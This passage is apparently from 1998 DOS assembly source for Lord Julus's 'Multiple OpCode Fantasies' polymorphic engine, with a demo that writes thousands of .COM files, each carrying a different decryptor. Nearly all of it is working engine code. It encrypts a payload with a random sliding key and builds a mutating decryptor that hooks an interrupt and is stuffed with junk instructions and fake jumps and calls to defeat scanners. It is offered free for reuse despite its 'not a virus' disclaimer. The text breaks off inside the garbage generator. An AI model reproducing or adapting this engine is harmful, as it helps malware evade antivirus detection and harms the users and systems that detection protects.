; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³ Following you have the original article, spell checked, arranged ³ ; ³ and... with God's help, bug checked... ³ ; ³ ³ ; ³ Lord Julus - Feb. 1999 ³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Comment $ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Multiple OpCode Fantasies (M.O.F.) Version 3.0 ³ ³ ³ ³ by Lord Julus ³ ³ ³ ³ Project start - 10 February 1998 ³ ³ Project End - 20 May 1998 ³ ³ ³ ³ What does Mof Do ? ³ ³ ³ ÃÄÄÄÄÄÄ( Parameters on entry )ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ ù ds:si - a pointer to the original Code ³ ³ ù dx - a displacement from ds:si that points to the Code ³ ³ that will get encrypted ³ ³ ù es:di - a pointer to a buffer In Memory where the Code ³ ³ will be put (the buffer must be able to also hold ³ ³ the Decryptor) ³ ³ ù cx - Length of the total original Code ³ ³ ù bx - Length of Code to be encrypted ³ ³ ³ ÃÄÄÄÄÄÄ( Parameters on Exit )ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ ù ds:si - a pointer to the encrypted Code including the ³ ³ Decryptor ³ ³ ù es:di - a pointer to the Decryptor ³ ³ ù cx - Length of encrypted Code + Decryptor ³ ³ ³ ÃÄÄÄÄÄÄ( Warnings )ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ When entering the Decryptor, it will Assume that bp is set ³ ³ to the DELTA Handle, i.e. you should have something like ³ ³ This: ³ ³ ³ ³ Call Get_delta ³ ³ Get_delta: ³ ³ Pop bp ³ ³ Sub bp, Offset Get_delta ³ ³ Call Decryptor ³ ³ .... ; misc. unencrypted data ³ ³ Encrypted_code: ³ ³ .... ³ ³ End_of_encrypted_code: ³ ³ Decryptor: ³ ³ .... ³ ³ Ret ³ ³ ³ ³ ³ ³ Lemme get one thing straight: the program below is a demonstration ³ ³for the Mof engine I wrote. When run it will generate a number of .COM files³ ³named mof00000.com up to mof99999.com, Each one with a different Decryptor. ³ ³The only unchanged bytes are these: ³ ³ ³ ³ Call Get_bp ³ ³ Get_bp: Pop bp ³ ³ Sub bp, 103 ³ ³ ... (And some others) ³ ³ ³ ³ When the generated files are scanned they may be recognized as a ³ ³variety of viruses as the above sequence appeares In 90% of the viruses ³ ³on the market. ³ ³ As for the rest, the Decryptor will unscramble the Code And the ³ ³Code will print a string on the screen, then quit. ³ ³ In order to detach the engine from This demo you will have to ³ ³remove some lines that are only used for .COM files alignement ³ ³ ³ ³ This IS Not A VIRUS. THE M.O.F. ROUTINE CAN BE SAFELY REMOVED ³ ³ FROM This PROGRAM And USED FREE. THE AUTHOR IS Not RESPONSIBLE ³ ³ FOR THE MISSUSE OF THE M.O.F. ENGINE. ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ· ³ ³ ³ Lord Julus - 1998 º ³ ³ ÀÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ History: ³ ³ þ Version 0.1 Beta - Not released publicly. Had a lot of bugs, ³ ³ Out of which, a major one. Many thanx to ³ ³ Darkman/29A for pointing that one to me. ³ ³ þ Version 1.0 - Not released publicly. Solved the bugs. ³ ³ Added instructions Shr, Shl, Ror, Rol, ³ ³ Rcl, Rcr. The Int for decryption is still ³ ³ fix. Removed the FPU instructions becaused ³ ³ they caused some CPU's to hang. ³ ³ þ Version 2.0 - First Public available form. Added a very ³ ³ powerful thing: Calls to back routines. ³ ³ This almost doubles the number of instr. ³ ³ the Decryptor executes. ³ ³ However no armour against emulators. ³ ³ Still, resistant ! ³ ³ Drawback: haven't worked on the optimiza- ³ ³ tion yet... The engine keeps growing ;-( ³ ³ þ Version 3.0 - Major Add: Random on the decr. Interrupt ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ $ .286 Sseg Segment Byte Stack 'prog' Sseg Ends Cseg Segment Byte Public 'prog' Assume cs:Cseg, ds:Cseg, ss:Sseg Org 0h jumps ; In order to make this demo faster I used a free asm library I found over ; the Net. It's called ASMWiz, and the below declarations represent routines ; taken from the library this demo will use. Therefore, in order to compile ; and link this demo you need the asmwiz.lib file in the same directory. Extrn bc_asc2int:Near, bc_int2asc:Near, bk_getkey:Near Extrn dv_chrout:Near, dv_crlf:Near, dv_strout:Near Extrn s0_length:Near, mv_locate:Near, mv_where:Near Extrn df_open:Near, df_close:Near, df_write:Near Main Proc Far Push cs cs ; you may want to skip this Pop ds es ; crap and jump to the Lea dx, welcome ; routine itself a little Call dv_strout ; below. Lea dx, str1 ; Here I print the welcome Call dv_strout ; strings Lea di, string ; Read_loop: ; The main keyboard input Mov al, 1001b ; loop. Call bk_getkey ; Cmp al, 08h ; check for backspace... Jne Not_bk_space ; Dec di ; Jmp Pr_back ; Not_bk_space: ; Cmp al, 0Dh ; check for Enter... Je Over ; Cmp al, '0' ; check char betw 0 & 9 Jb Read_loop ; Cmp al, '9' ; Ja Read_loop ; Stosb ; Pr_back: ; Call dv_chrout ; Jmp Read_loop ; Over: ; Call dv_crlf ; Lea dx, str2 ; print smth... Call dv_strout ; Lea dx, str3 ; Call dv_strout ; Call mv_where ; Mov Word Ptr position, dx ; ; Mov bl, 10d ; Mov si, Offset string ; Call bc_asc2int ; convert ASCII to integer ; Lea di, strnum ; Mov si, di ; Call s0_length ; Mov bp, di ; Add bp, cx ; Mov bl, 10d ; Mov cx, 0 ; Xchg ax, cx ; Lea dx, filename ; Rep_gen: ; Call bc_int2asc ; convert integer to ascii Push cx ; Call s0_length ; Mov bp, di ; Add bp, cx ; Cmp cx, 5 ; Je Not_zero ; Mov Byte Ptr [bp], '0' ; Jmp Was_zero ; Not_zero: ; Mov Byte Ptr [bp], '.' ; Was_zero: ; Pop cx ; Push dx ; Mov dx, Word Ptr position ; Call mv_locate ; Pop dx ; Call dv_strout ; ; Pusha ; Mov Word Ptr filenums, ax ; Lea dx, filename ; Mov ax, 0111b ; Xor cx, cx ; Call df_open ; Jc Exit_error ; ; ; Here we call the Poly Engine ; ; Push ax bx dx ; Push di si es ds bp ; Push cs cs ; DS = ES = CS Pop ds es ; Mov ax, 0 ; no flags in this version Lea si, Start_of_code ; DS:SI = code Lea di, buffer ; ES:DI = buffer for code Mov dx, Encr_code-Start_of_code ; displacement to encrypted code Add dx, 100h ; alignement for COM files Mov cx, End_encr_code-Start_of_code; length of code Mov bx, End_encr_code-Encr_code ; length of code to be encrypted ; Call Mof ; call the Poly Engine ; Pop bp ds es si di ; Pop dx bx ax ; ; Lea dx, buffer ; Call df_write ; Jc Exit_error ; ; Call df_close ; Popa ; ; Mov ax, Word Ptr filenums ; Inc ax ; Cmp ax, cx ; Jne Rep_gen ; Lea dx, str4 ; Call dv_strout ; ; Mov ax,4C00h ; end of demo Int 21h ; Exit_error: ; Lea dx, str5 ; Call dv_strout ; Mov ax, 4C01h ; end w/ error Int 21h ; Main Endp ; ;,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~` ; M u l t i p l e O p C o d e F a n t a s i e s ( C ) 1 9 9 8 ;`~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù., ;,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~` ; A Polymorphic Engine Written by Lord Julus in the year of 1998 ;`~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù.,.ù~``~ù., Comment $ ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ· º Hi ! This is the official Comment of the author on behalf of his poly º º engine. This engine will scramble the given Code using one of the three º º Operations: Xor, Add, Sub. As you noticed, the encrypted Code may be º º different from the entire Code processed by the engine Into it`s buffer, º º giving more flexibility. After the Code is copied, the part to be º º encrypted is encrypted using a Random key. After that, the poly Decryptor º º is generated. Basicly, the Decryptor will hook an interrupt (06/19/12,etc) º º And set it`s vector to a special routine. This routine will provide º º decryption during the decryption phase. The registers used here are ax, º º bx, cx, dx, si, di. Each of these can hold the Code, key, counter. Also, º º bx, di, si can be used to point Into the Code. The engine chooses randomly º º one of these leaving 2 junk general registers And 1 junk pointer register. º º Between the real intructions of the Decryptor, the engine will generate º º a Random number of junk instructions. These instructions may contain also º º jumps, calls to fake routines, interrupt calls And privileged instructions.º º Also, many instructions that `look` like the ones inside the Decryptor, º º so it`ll be very hard to find the real instructions. º º º º ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ º º ³ Lord Julus - 1998 º º º ÀÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ º º º º Please write your opinions At: LordJulus@Geocities.Com º º º º Check Out my articles At: HTTP://Members.Tripod.Com/~lordjulus º º º ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ $ Mof Proc Near ; Multiple Opcodes Fantasies !! Pushf ; save the flags Push es ds di si bp ; and the rest Push cs cs ; make DS = ES = CS Pop ds es ; (kinda redundant) ; Mov buffer_address, di ; save start of code for later Call Randomize ; initialize the rnd. nr. generator Call Choose_registers ; Choose the random registers to use Mov ax, 0FFFEh ; Call Random ; generate random key Mov Word Ptr key, ax ; save it Shr bx, 1 ; divide code length by 2 -> words Mov Word Ptr code_len, bx ; save code length Mov Word Ptr code_start, si ; save code start Mov ax, Offset Start_of_code ; ax holds the start of code Add ax, dx ; align it to the part to be Sub ax, Word Ptr code_start ; encrypted Xchg ax, Word Ptr code_start ; and save it into the code_start Mov ax, 2 ; choose random method Call Random ; Mov Word Ptr method, ax ; and save it ; Push cx si di ; push stuff Cld ; copy the original source code Rep Movsb ; from ds:si to es:di Mov ax, di ; save the place we are at Pop di si cx ; and pop stuff ; Mov cx, Word Ptr code_len ; cx is the code length Push ax ; Mov ax, Word Ptr key ; ax is the 'Keeper Of The Key' ;-) Add di, dx ; we encrypt from si+dx Sub di, 100h ; THIS ALIGNEMENT IS PUT HERE ONLY ; BECAUSE THIS DEMO GENERATES .COM ; FILES. BEWARE !! Encrypt_loop: ; Here we encrypt the code that Cmp Word Ptr method, 0 ; will get decrypted by the poly Jne Not_xor ; decryptor Xor Word Ptr [di], ax ; XOR method Jmp Continue ; Not_xor: ; Cmp Word Ptr method, 1 ; Jne Not_add ; Add Word Ptr [di], ax ; ADD method Jmp Continue ; Not_add: ; Sub Word Ptr [di], ax ; SUB method Continue: ; Inc di ; increment pointer Inc di ; Inc ax ; increment key (sliding key) Loop Encrypt_loop ; ...do it again ! Pop ax ; Mov di, ax ; restore di Mov decr_entry, di ; save decryptor entry Push di ; save it... ; Mov cx, decryptor_len ; take the decryptor length Lea bx, Decryptors_table ; bx is the Decryptor's pointer ; Mov counter, 1 ; this is useful, trust me... Mov Word Ptr last_instr, di ; this addr will always hold the Mov Word Ptr last_call, 0 ; ofs of the end of the crt. instr. Mov Byte Ptr call_allow, 0 ; Mov Byte Ptr in_call, 0 ; Mov Byte Ptr allowence, 0 ; ; Repeat_generator: ; this is the main generator loop Cmp counter, 0Ch ; for instruction no. 0Ch and 01h Je No_garbage ; we don't create junk after. Cmp counter, 1 ; Je No_garbage ; Call Garbage_generator ; generate some garbage ; No_garbage: ; Xor ax, ax ; ax = 0 Mov al, Byte Ptr [bx] ; al holds the number of the instr. Call Go_to_instr ; make SI point to the instruction ; with the number held in AL Call Compute_addresses ; compute the pointers and addrs. ; Rep_put_instr: ; Lodsb ; now take the instruction. Cmp al, 0FEh ; marker for the place to fill ? Jne Once_again ; Mov ax, Word Ptr counter ; restore instr. nr. into AX Call Fill_reg_mod_data ; Call the filling routine Jmp Rep_put_instr ; ; Once_again: ; Cmp al, 0FFh ; and check if we're done Je Over_this ; Stosb ; if not put it where it belongs Cmp al, 033h ; marker for method ? Jne Not_method ; Cmp Word Ptr counter, 4 ; into the instr. no. 4 Jne Not_method ; Lea bp, Method_op ; if so, take the opcode for method Mov ax, Word Ptr method ; Add bp, ax ; Mov al, [bp] ; Mov Byte Ptr [di-1], al ; and put it where it belongs... ; Not_method: ; Jmp Rep_put_instr ; and repeat this ; Over_this: ; Inc Word Ptr counter ; Inc bx ; increment the table counter Mov Word Ptr last_instr, di ; save last instruction's end Loop Repeat_generator ; and generate another instruction ; Mov cx, buffer_address ; Xchg di, cx ; Sub cx, di ; ; Pop di ; restore DI to the beginning of Call Fill_addresses ; the decryptor and fill the addrs. ; Pop bp si di ds es ; restore all the registers now Popf ; Ret ; And exit from the engine ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ;±± ±± ;±± Here we have the routines to fill the data area (addresses & pointers) ±± ;±± ±± ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Compute_addresses Proc Near ; Here we compute different addrs. Pusha ; within the decryptor. Push di si ; first we save regs we'll loose Mov ax, instr_number ; ax holds the number of instrs. Sub ax, cx ; and now AL = the current instr. Inc ax ; Cmp ax, 0Fh ; Jne Not_entry ; Mov cx, decr_entry ; Mov dx, di ; Sub dx, cx ; Mov bx, Offset poly_entry ; Sub bx, Offset Start_of_code ; Add bx, Offset buffer ; Mov Word Ptr [bx], dx ; ; Not_entry: ; Lea si, Data_instr_place ; we are about to compare AL with Mov cx, 12d ; this 12 bytes long string. These Loop_1: ; gives us the offsets. Cmp al, Byte Ptr [si] ; and if we found it we go and Je Found_it_1 ; save it ; Fnd_ret1: ; Inc si ; Loop Loop_1 ; ; Ret_here: ; Lea si, Pos_refference ; otherwise we look wether we have Mov cx, 12d ; position refferences. These gives Loop_2: ; us the values to put at the Cmp al, Byte Ptr [si] ; offsets. Je Found_it_2 ; ; Fnd_ret2: ; Inc si ; Loop Loop_2 ; Jmp No_one ; ; Found_it_1: ; Push ax si ; Lea si, Offsets ; go to the offsets table Mov ax, 12d ; Sub ax, cx ; Shl ax, 1 ; Add si, ax ; and align it with the current Mov ax, Word Ptr last_instr ; Mov Word Ptr [si], ax ; and save the offset of the Pop si ax ; current instruction Jmp Fnd_ret1 ; ; ; Found_it_2: ; Push ax si ; Lea si, Values ; and here we have the values Mov ax, 12d ; Sub ax, cx ; Shl ax, 1 ; ax = ax * 2 Add si, ax ; Mov Word Ptr [si], di ; Pop si ax ; Jmp Fnd_ret2 ; ; No_one: ; Pop si di ; restore the stuff... Popa ; Ret ; go back... Compute_addresses Endp ; ; Fill_addresses Proc Near ; Pusha ; Lea si, Offsets ; pointer to the offsets Lea bx, Values ; pointer to the values Mov cx, 12d ; we have 12 places ; Loop_fill: ; Mov di, Word Ptr [si] ; DI holds the offset Mov ax, Word Ptr [bx] ; AX holds the value to put there Cmp cx, 11d ; we first look for the first 2 Jb Not_jumps ; instructions (the jumps) Sub di, 2 ; where we have to decrease DI by 2 Sub ax, di ; and compute the JMP/JZ length Sub ax, 2 ; by substracting one from the Mov Word Ptr [di], ax ; other Jmp Again_1 ; ; Not_jumps: ; Sub di, 2 ; otherwise, we have to mark a word Sub ax, Offset Buffer_start ; Add ax, 100h ; WARNING ! COM. FILES ONLY !!! ; Cmp cx, 7 ; Also some specific values. Jne Not_code_start ; The address for the code start Mov ax, Word Ptr code_start ; ; Not_code_start: ; Cmp cx, 6 ; Jne Not_length ; Mov ax, Word Ptr code_len ; The length of the code ; Not_length: ; Cmp cx, 5 ; Jne Not_key ; Mov ax, Word Ptr key ; And the encryption key ; Not_key: ; Mov Word Ptr [di], ax ; at DI-2 we have a word Again_1: ; Add si, 2 ; we increase the 2 pointers in the Add bx, 2 ; tables Loop Loop_fill ; and loop... Popa ; Ret ; that's it ! Fill_addresses Endp ; ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ;±± ±± ;±± Here we have the routines to fill the signifiant 'mod' & 'reg' fields ±± ;±± ±± ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Fill_reg_mod_data Proc Near ; This routine properly fills the Pusha ; current instruction with the Push si di ; correct reg/mod fields. Dec di ; the instr. is one byte behind Lea si, Used_stuff_table ; si points to the used table Add si, ax ; aligned for the current instr. Dec si ; Xor cx, cx ; Mov cl, Byte Ptr [si] ; take it into CX And cl, 11100000b ; isolate signifiant bits ; Cmp cl, 11100000b ; Do we have 'DON`T TOUCH' ? Je Mod111 ; Cmp cl, 10000000b ; Do we have 'REG 2 REG' ? Je Mod100 ; Cmp cl, 11000000b ; Do we have 'MOD ONLY' ? Je Mod110 ; Cmp cl, 10100000b ; Do we have 'REG ONLY' ? Je Mod101 ; Cmp cl, 01100000b ; Do we have 'REG & MOD' ? Je Mod011 ; Hlt ; other is an Exception Error ; Mod011: ; Call Fill_mod ; fill the mod... Call Fill_reg ; fill the reg... Jmp Zup ; ; Mod101: ; Call Fill_reg ; fill the reg... Jmp Zup ; ; Mod110: ; Call Fill_mod ; fill the mod... Jmp Zup ; ; Mod100: ; Call Fill_reg2reg ; fill reg to reg... Jmp Zup ; ; Mod111: ; Zup: ; Pop di si ; Popa ; Ret ; return :'-( Fill_reg_mod_data Endp ; ; Fill_mod Proc Near ; Routine to fill the mod field Mov bl, Byte Ptr preg ; get the 'mod' from the preg Or [di], bl ; and fill the data in the current Ret ; instruction. Fill_mod Endp ; ; Fill_reg2reg Proc Near ; Routine for Reg to Reg instr. Xor dx, dx ; First clear the registers to use Xor ax, ax ; Mov cl, Byte Ptr [si+49d] ; about to find the 2 registers Push cx ; save this Mov al, cl ; we have here the first register And al, 00111000b ; on these bits' displacement Shr al, 3 ; so we align them Pop cx ; and we are about to pick the Mov dl, cl ; second register And dl, 00000111b ; which is at this bits' displ. Lea bx, Used_registers ; we point to registers Add bx, ax ; we add the first displacement Mov al, Byte Ptr [bx] ; and take the register Lea bx, Used_registers ; then we do the same thing Add bx, dx ; for the second register Mov dl, Byte Ptr [bx] ; except that this one we align to Shr dl, 3 ; the end of the byte Or Byte Ptr [di], dl ; and then we fill our instruction Or Byte Ptr [di], al ; with the registers. Ret ; Done ! Fill_reg2reg Endp ; ; Fill_reg Proc Near ; Routine to fill the reg field Xor cx, cx ; Mov cl, Byte Ptr [si] ; And cl, 00011100b ; isolate the REG Shr cl, 2 ; shift right Lea bx, Used_registers ; BX points to the registers Add bx, cx ; align it to the correct reg. Mov al, Byte Ptr [bx] ; and take it Mov bl, al ; ; Do_reg_fill: ; Mov cl, Byte Ptr [si+49d] ; about to determine the reg pos. And cl, 00000111b ; Shr bl, cl ; mov it to it's position Or Byte Ptr [di], bl ; Ret ; Fill_reg Endp ; ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ;±± ±± ;±± Here we have a routine that searches for the current instruction. ±± ;±± ±± ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Go_to_instr Proc Near ; Procedure to Go to instr nr AX Push cx ; save loop counter Lea si, Instr_table ; SI = pointer to the instr. table Mov cx, 1 ; cx = new counter ; Rep_search: ; Cmp cx, ax ; did I find it ? Je Over_search ; yeah ! ; Rep_nest: ; Inc si ; increment instr. pointer Cmp Byte Ptr [si], 0FFh ; check the end of instr. Jne Rep_nest ; Inc si ; Inc cx ; increment CX for another instr. Jmp Rep_search ; and repeat search ; Over_search: ; Pop cx ; now SI points to the instruction Ret ; given initialy into AX Go_to_instr Endp ; and we return in order to 'lodsb' ; it ! ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ;±± ±± ;±± Here is the main random chooser: registers and pointers and junks ±± ;±± ±± ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Choose_registers Proc Near ; Here we choose the random regs Pusha ; Push di si ; Lea si, Mod_opcode ; first choose the pointer Mov ax, 3 ; 3 posib. Call Random ; Mov Byte Ptr misc, al ; save al Add si, ax ; align the pointer Lodsb ; take a byte Mov preg, al ; and save it as the pointer reg. Lea si, Mod_opcode ; then return to the opcode list Mov counter, 3 ; create a counter ; Rep_mod: ; Lodsb ; and start taking the rest of Cmp preg, al ; the registers. Compare them Jne Not_preg ; w/ preg so they don't step Jmp Rep_mod ; on each other's feet ;-) ; Not_preg: ; Cmp counter, 2 ; if counter is 2 then Je Not_1 ; Mov jprg2, al ; we have the first junk register Dec counter ; and we decrement the counter Jmp Rep_mod ; ; Not_1: ; Mov jprg1, al ; otherwise we have the second ; junk pointer Over_mod: ; Mov cx, 50d ; now about to mangle the registers Xor bx, bx ; in a random order 50 times. ; Rnd_loop: ; Lea si, reg_order ; si = di = the registers' order Lea di, reg_order ; Mov ax, 6 ; we generate a number betw 0 & 5 Call Random ; Add si, ax ; and we align si after that Mov dx, si ; save si into dx Lodsb ; and take the byte Mov bx, ax ; save the byte into bx Mov ax, 6 ; and generate another random Call Random ; in the same boudaries Lea si, reg_order ; again align... Add si, ax ; Mov di, si ; save si again... Lodsb ; take another byte into ax. Cmp bx, ax ; don't exchange with itself... Je Rnd_loop ; Xchg ax, bx ; otherwise exchange them Stosb ; and store them the other way Xchg ax, bx ; around. This stuff basicaly Mov di, dx ; exchanges 2 random positions betw Stosb ; them 50 times... Loop Rnd_loop ; ; Mov dl, Byte Ptr misc ; now we are about to search for Add dl, 4 ; the pointer register and move Mov cx, 6 ; it to the end... Lea si, reg_order ; Scan_4_reg: ; trust me, this is what this Lodsb ; does... Cmp al, dl ; Jne Not_found ; Cmp cx, 1 ; Jne Not_ok ; Jmp Not_found ; ; Not_ok: ; Sub si, 1 ; Push si ; Lea si, reg_order ; Add si, 5 ; Push si ; Xchg ah, al ; Lodsb ; Xchg ah, al ; Pop di ; Stosb ; Xchg ah, al ; Pop di ; Stosb ; Jmp Out_of_here ; ; Not_found: ; Loop Scan_4_reg ; ...until here :-<< unoptimized ! ; Out_of_here: ; Lea di, Used_registers ; Lea bp, reg_order ; Xor ax, ax ; Mov cx, 6 ; ; Choose_loop: ; I don't remeber what this does Lea si, Register_opcode ; ;-))))) Mov al, Byte Ptr [bp] ; Add si, ax ; Sub si, 1 ; Inc bp ; Lodsb ; Stosb ; Loop Choose_loop ; ; this area really needs some Mov al, Byte Ptr jreg1 ; optimizations... Shr al, 3 ; Mov Byte Ptr j_reg1, al ; Mov al, Byte Ptr jreg2 ; Shr al, 3 ; Mov Byte Ptr j_reg2, al ; mov ax, 10 ; call random ; add ax, 4 ; lea di, int_pl ; inc di ; stosb ; mov cx, 4 ; mul cx ; lea di, iofs_1 ; add di, 3 ; stosw ; lea di, iofs_2 ; add di, 3 ; stosw ; add ax, 2 ; lea di, iseg_1 ; add di, 3 ; stosw ; lea di, iseg_2 ; add di, 3 ; stosw ; Pop si di ; Popa ; Retn ; Choose_registers Endp ; ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ;±± ±± ;±± The General Random Number Generator for the poly engine. ±± ;±± ±± ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Randomize Proc Near ; random nr. generator initializer Push cx dx ; save them Xor ah,ah ; ah = 0 Int 1Ah ; get date/time Mov [rand_seed], dx ; and save it in the seed Xchg ch,cl ; make some calculations Add [rand_seed_2], cx ; and generate the second seed Pop dx cx ; and now pop these Ret ; and go away Randomize Endp ; ; Random Proc Near ; The Random Number Generator Push cx ; Push ax ; In al,40h ; get a random Sub ax, [rand_seed] ; substract it from seed 1 Db 35h ; Xor Ax by seed 2 rand_seed_2 Dw 0 ; Inc ax ; increment ax Add [rand_seed], ax ; and create new random seed Pop cx ; and put the number into the Call Modulo ; boundaries Pop cx ; Ret ; and return Random Endp ; ; Modulo Proc Near ; this routine returns Ax modulo Cx. Push dx ; It's used to put AX between 0 and Xor dx, dx ; CX. DX is preserved. Div cx ; Xchg ax, dx ; Pop dx ; Ret ; Modulo Endp ; ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ;±± ±± ;±± The Garbage Generator (C) 1998 Lord Julus ;-) ±± ;±± ±± ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Garbage_generator Proc Near ; Push ax bx cx dx bp si ; save registers but DI Mov ax, 25h ; we're gonna have about 25h Call Random ; groups ; Mov Word Ptr junk_start, di ; save the nr. of junk instr. ; Junk_loop: ; here's the main junk loop Mov ax, 50h ; get ax between 0-49h Call Random ; Cmp ax, 11h ; if ax in <= 10h then we'll Jnb No_jump ; generate a conditional jump ; Create_jump: ; Here we create a conditional jump Mov ax, 11h ; choose a random jump out of Call Random ; 11h possible Lea si, Jump_opcodes ; SI points to jumps' opcodes Add si, ax ; aligned with AX Lodsb ; take the byte Stosb ; and put it. Mov Word Ptr jump_place, di ; and save the jump place Mov al, 0 ; and store the address 0 Stosb ; Mov ax, 2h ; now we will create a number of Call Random ; junk instructions between 2 and Add ax, 2h ; 4. Call Gen_ax_junks ; Mov bx, di ; BX = where the jump will jump Mov cx, Word Ptr jump_place ; CX = the place to put the jump Mov bp, cx ; BP = CX Inc cx ; increment to align Sub bx, cx ; find out the difference Mov Byte Ptr [bp], bl ; and store it in the right place Jmp Done_with_this ; and finish. ; No_jump: ; Mov ax, 50h ; if no jump is created, maybe we Call Random ; can create a fake call to a Cmp ax, 11h ; fake routine Jnb No_call ; ; Create_call: ; Mov Byte Ptr in_call, 1 ; Mov ax, 21h ; This is where we create the CALL Call Random ; Cmp ax, 11h ; Jb Type_2_call ; we choose from 2 types of CALL ; Type_1_call: ; This is Type 1 Mov al, 0E9h ; First store a JMP NEAR Stosb ; Mov Word Ptr over_junk_ref, di ; and save it's place Mov ax, 0 ; Stosw ; Mov ax, 2h ; now again we create a random Call Random ; number of junk instructions Add ax, 2h ; Call Gen_ax_junks ; Mov al, 0C3h ; then we store a RET Stosb ; Mov bx, di ; now we must compute the JMP Mov cx, Word Ptr over_junk_ref ; address Mov bp, cx ; BP = where to put it Inc cx ; Inc cx ; Sub bx, cx ; BX = correct JMP length Mov Word Ptr [bp], bx ; store it Mov ax, 2 ; Call Random ; Add ax, 2 ; Call Gen_ax_junks ; Mov al, 0E8h ; Now store the CALL 